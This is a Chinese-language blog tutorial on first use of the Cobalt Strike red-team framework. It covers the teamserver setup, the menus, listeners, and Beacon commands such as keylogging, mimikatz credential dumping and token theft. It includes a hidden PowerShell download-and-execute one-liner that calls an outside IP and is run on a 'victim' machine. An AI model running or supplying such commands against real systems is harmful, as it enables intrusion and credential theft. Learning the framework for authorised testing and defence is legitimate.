Cobalt Strike初次体验

0x01.简介

Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,分为客户端与服务端 (CS架构的),服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。

Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等

官方网站: https://www.cobaltstrike.com/

0x02.目录结构

一般Cobalt Strike目录结构如下:

image-20210825213908389

当然这里有我一些自己新增的插件和profile文件 , 简单介绍一下常用目录和文件

agscript                		拓展应用的脚本
c2lint                     		     用于检查profile的错误异常
teamserver            		   服务端程序
cobaltstrike,cobaltstrike.jar客户端程序(java跨平台)
license.pdf             	许可证文件
logs                               目录记录与目标主机的相关信息 
update,update.jar	 用于更新CS 
third-party               	 第三方工具

0x03.安装和运行

1.服务端

团队服务器最好运行在Linux平台上,服务端的关键文件是teamserver和cobaltstrike.jar,将这两个文件放在同一目录下运行 , teamserver要有可以运行的权限

./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
<host> 必需参数 团队服务器IP
<password> 必需参数 连接服务器的密码
[/path/to/c2.profile] 可选参数 指定C2通信配置文件,体现其强大的扩展性
[YYYY-MM-DD] 可选参数 所有payload的终止时间

# 一般启动Team Server
./teamserver 192.168.183.147 123456    # 设置强密码,否则容易被爆破,参考附录

PS:团队服务器默认连接端口为50050,如果你想修改端口只需修改teamserver文件 , 最好修改默认端口

image-20210825214333819

2.客户端

Linux:./cobaltstrike或 java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
Windows:双击cobaltstrike.exe , 但是一般都有对应平台的启动脚本 ( 暗指破解版 )

image-20210825214453120

image-20210825214600739

输入服务端IP,端口默,用户名任意,密码为之前设置的密码,点击connect。第一次连接会出现hash校验,这里的hash等于前面的启动teamserver时的hash,直接点击‘是’即可连接到团队服务器上

image-20210825214650689

0x04.菜单栏详情

1.Cobalt Strike

New Connection   # 新建连接,支持连接多个服务器端
Preferences           # 设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录
Visualization          # 主要展示输出结果的视图
VPN Interfaces       # 设置VPN接口
Listenrs                  # 创建监听器
Script Manager     # 脚本管理,可以通过AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等

2.View(视图)

Applications        # 显示受害主机的应用信息
Credentials         # 显示所有以获取的受害主机的凭证,如hashdump、Mimikatz
Downloads         # 查看已下载文件
Event Log            # 主机上线记录以及团队协作聊天记录
Keystrokes          # 查看键盘记录结果
Proxy Pivots       # 查看代理模块
Screenshots       # 查看所有屏幕截图
Script Console    # 加载第三方脚本以增强功能 
Targets              # 显示所有受害主机
Web Log            # 所有Web服务的日志

3.Attacks(攻击)

3.1Packages(生成后门)

HTML Application      # 生成(executable/VBA/powershell)这三种原理实现的恶意HTA木马文件
MS Office Macro        # 生成office宏病毒文件
Payload Generator     # 生成各种语言版本的payload
Windows Executable   # 生成可执行exe木马
Windows Executable(Stageless)   # 生成无状态的可执行exe木马

3.2Web Drive-by(钓鱼攻击)

Manage               # 对开启的web服务进行管理
Clone Site            # 克隆网站,可以记录受害者提交的数据
Host File               # 提供文件下载,可以选择Mime类型
Scripted Web Delivery   # 为payload提供web服务以便下载和执行,类似于Metasploit的web_delivery 
Signed Applet Attack   # 使用java自签名的程序进行钓鱼攻击(该方法已过时)
Smart Applet Attack   # 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本(该方法已过时)
System Profiler   # 用来获取系统信息,如系统版本,Flash版本,浏览器版本等

3.3钓鱼邮件

4.Reporting(报告)

Activity Report   # 活动报告
Hosts Report     # 主机报告
Indicators of Compromise   # IOC报告:包括C2配置文件的流量分析、域名、IP和上传文件的MD5 hashes
Sessions Report   # 会话报告
Social Engineering Report   # 社会工程报告:包括鱼叉钓鱼邮件及点击记录
Tactics, Techniques, and Procedures   # 战术技术及相关程序报告:包括行动对应的每种战术的检测策略和缓解策略
Reset Data   # 重置数据
Export Data   # 导出数据,导出.tsv文件格式

5.Help(帮助)

Homepage   # 官方主页
Support   # 技术支持
Arsenal   # 开发者
System information   # 版本信息
About   # 关于

0x05.工具栏

image-20210825214650789

1.新建连接2.断开当前连接3.监听器4.改变视图为Pivot Graph(视图列表)5.改变视图为Session Table(会话列表)6.改变视图为Target Table(目标列表)7.显示所有以获取的受害主机的凭证8.查看已下载文件9.查看键盘记录结果10.查看屏幕截图11.生成无状态的可执行exe木马12.使用java自签名的程序进行钓鱼攻击13.生成office宏病毒文件14.为payload提供web服务以便下载和执行15.提供文件下载,可以选择Mime类型16.管理Cobalt Strike上运行的web服务17.帮助18.关于

0x06.基本流程

1.创建监听器

点击Cobalt Strike -> Listeners->Add,其中内置了九个Listener

indows/beacon_dns/reverse_dns_txtwindows/beacon_dns/reverse_httpwindows/beacon_http/reverse_httpwindows/beacon_https/reverse_httpswindows/beacon_smb/bind_pipewindows/foreign/reverse_dns_txtwindows/foreign/reverse_httpwindows/foreign/reverse_httpswindows/foreign/reverse_tcp

其中windows/beacon为内置监听器,包括dns、http、https、smb四种方式的监听器;windows/foreign为外部监听器,配合Metasploit或者Armitage的监听器。

image-20210825215804941

Name任意,选择所需的payload,Host为本机IP,port为没有被占用的任意端口
点击save即创建成功

2.生成木马

这里选择其中一种攻击方式作示范,后面再做详细解释, 这里就用powershell一句话做演示

Attacks --> Scripted Web Delivery

image-20210825215919388

点击开始 , 复制生成的一句话

image-20210825215947990

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://119.3.12.54:80/index'))"

3.运行木马

打开受害机的cmd , 运行生成的powershell一句话 , 打开客户端查看 , 上线成功

image-20210825220144125

选中受害机右击,选择beacon,即可进行交互,由于受害机默认60秒进行一次回传,为了实验效果我们这里把时间设置成3,但实际中频率不宜过快,容易被发现

image-20210825220322328

sleep 3

image-20210825220407853

0x07.Beacon

当受害机上线以后,右击选择Beacon ,就可以打开Beacon Console

在beacon处输入help可以看到命令说明

Beacon Commands===============    Command                   Description    -------                   -----------    argue                     进程参数欺骗    blockdlls                 在子进程中阻止非Microsoft的DLLs文件    browserpivot              注入受害者浏览器进程    bypassuac                 绕过UAC    cancel                    取消正在进行的下载    cd                        切换目录    checkin                   强制让被控端回连一次    clear                     清除beacon内部的任务队列    connect                   通过TCP连接到Beacon    covertvpn                 部署Covert VPN客户端    cp                        复制文件    dcsync                    从DC中提取密码哈希    desktop                   远程VNC    dllinject                 反射DLL注入进程    dllload                   使用LoadLibrary将DLL加载到进程中    download                  下载文件    downloads                 列出正在进行的文件下载    drives                    列出目标盘符    elevate                   尝试提权    execute                   在目标上执行程序(无输出)    execute-assembly          在目标上内存中执行本地.NET程序    exit                      退出beacon    getprivs                  对当前令牌启用系统权限    getsystem                 尝试获取SYSTEM权限    getuid                    获取用户ID    hashdump                  转储密码哈希值    help                      帮助    inject                    在特定进程中生成会话    jobkill                   杀死一个后台任务    jobs                      列出后台任务    kerberos_ccache_use       从ccache文件中导入票据应用于此会话    kerberos_ticket_purge     清除当前会话的票据    kerberos_ticket_use       从ticket文件中导入票据应用于此会话    keylogger                 键盘记录    kill                      结束进程    link                      通过命名管道连接到Beacon    logonpasswords            使用mimikatz转储凭据和哈希值    ls                        列出文件    make_token                创建令牌以传递凭据    mimikatz                  运行mimikatz    mkdir                     创建一个目录    mode dns                  使用DNS A作为通信通道(仅限DNS beacon)    mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)    mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)    mode http                 使用HTTP作为通信通道    mv                        移动文件    net                       net命令    note                      给当前目标机器备注           portscan                  进行端口扫描    powerpick                 通过Unmanaged PowerShell执行命令    powershell                通过powershell.exe执行命令    powershell-import         导入powershell脚本    ppid                      为生成的post-ex任务设置父PID    ps                        显示进程列表    psexec                    使用服务在主机上生成会话    psexec_psh                使用PowerShell在主机上生成会话    psinject                  在特定进程中执行PowerShell命令    pth                       使用Mimikatz进行传递哈希    pwd                       当前目录位置    reg                       查询注册表    rev2self                  恢复原始令牌    rm                        删除文件或文件夹    rportfwd                  端口转发    run                       在目标上执行程序(返回输出)    runas                     以另一个用户权限执行程序    runasadmin                在高权限下执行程序    runu                      在另一个PID下执行程序    screenshot                屏幕截图    setenv                    设置环境变量    shell                     cmd执行命令    shinject                  将shellcode注入进程    shspawn                   生成进程并将shellcode注入其中    sleep                     设置睡眠延迟时间    socks                     启动SOCKS4代理    socks stop                停止SOCKS4    spawn                     生成一个会话     spawnas                   以其他用户身份生成会话    spawnto                   将可执行程序注入进程    spawnu                    在另一个PID下生成会话    ssh                       使用ssh连接远程主机    ssh-key                   使用密钥连接远程主机    steal_token               从进程中窃取令牌    timestomp                 将一个文件时间戳应用到另一个文件    unlink                    断开与Beacon的连接    upload                    上传文件    wdigest                   使用mimikatz转储明文凭据    winrm                     使用WinRM在主机上生成会话    wmi                       使用WMI在主机上生成会话

可用help+命令的方式查看具体命令参数说明

beacon> help argueUse: argue [command] [fake arguments]     argue [command]     argueSpoof [fake arguments] for [command] processes launched by Beacon.This option does not affect runu/spawnu, runas/spawnas, or post-ex jobs.Use argue [command] to disable this feature for the specified command.Use argue by itself to list programs with defined spoofed arguments.Use argue by itself to list programs wUse argue by itself to list programs wUse argue by itself to list programs w

0x08.附录

爆破cobalt strike密码脚本:https://github.com/ryanohoro/csbruter

image-20210825215522408

image-20210825215546934

posted @ 2021-12-22 22:20  Mn猿  阅读(66)  评论(0编辑  收藏  举报